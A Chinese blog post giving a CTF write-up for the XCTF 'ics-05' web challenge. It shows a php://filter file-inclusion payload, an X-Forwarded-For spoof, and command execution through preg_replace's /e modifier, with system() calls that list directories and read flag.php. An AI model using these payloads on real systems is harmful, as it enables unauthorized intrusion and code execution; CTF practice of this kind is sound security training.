2 3 4 5 6 7 8 9 10 11 12

ics-05 xctf 攻防世界 web高手进阶区

题目描述

进入题目场景

根据题目描述,后门在设备维护中心,进入后发现没什么特殊的情况

查看网页源码,发现云平台设备维护中心是一个index的超链接。

看到变量传参,有可能存在文件包含漏洞读取源码。

可以使用php伪协议读取源码:

构造payload:http://111.200.241.244:59603/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

出现了base64编码过的源码,使用base64解码后得到源码。

主要漏洞点是这一块代码

审计代码可知,当X-forwarded-for=127.0.0.1的时候,如果这时候传三个参数进去pat,rep,sub 会触发preg_replace()函数,而preg_replace()函数有个漏洞。

扩展:preg_replace()函数

preg_replace 函数执行一个正则表达式的搜索和替换

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

• $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
• $replacement: 用于替换的字符串或字符串数组。
• $subject: 要搜索替换的目标字符串或字符串数组。
• $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
• $count: 可选,为替换执行的次数。

然而这个函数有个漏洞
当$pattern使用了/e修正符,替换的时候会把$replacement替换进去的代码当成php代码执行,当然要构成合法的php代码才能正确执行。

根据代码审计,基本思路是:先对其抓包,然后增加一个参数,X-Forwarded-For: 127.0.0.1

传参:/index.php?pat=/123/e&rep=system('ls')&sub=123

然后查s3chahahaDir这个文件夹,这里需要注意一些字符转化为URL编码。

因为从URL传入的值都是会有一层URL编码。

空格用 %20 || +代替;&用 %26代替

传参:/index.php?pat=/123/e&rep=system('cd%20s3chahahaDir%26%26ls')&sub=123

查看flag.php的内容

传参:/index.php?pat=/mochu/e&rep=system('cd%20s3chahahaDir%26%26cat%20flag.php')&sub=mochu

还可以构造payload:/index.php?pat=/123/e&rep=system('find+/+-name+"flag*"')&sub=123

得到flag的路径后在用cat命令查看即可:

构造payload:/index.php?pat=/123/e&rep=system('cat+/var/www/html/s3chahahaDir/flag/flag.php')&sub=123

posted @ 2022-01-28 14:31  MrDevil  阅读(142)  评论(0)    收藏  举报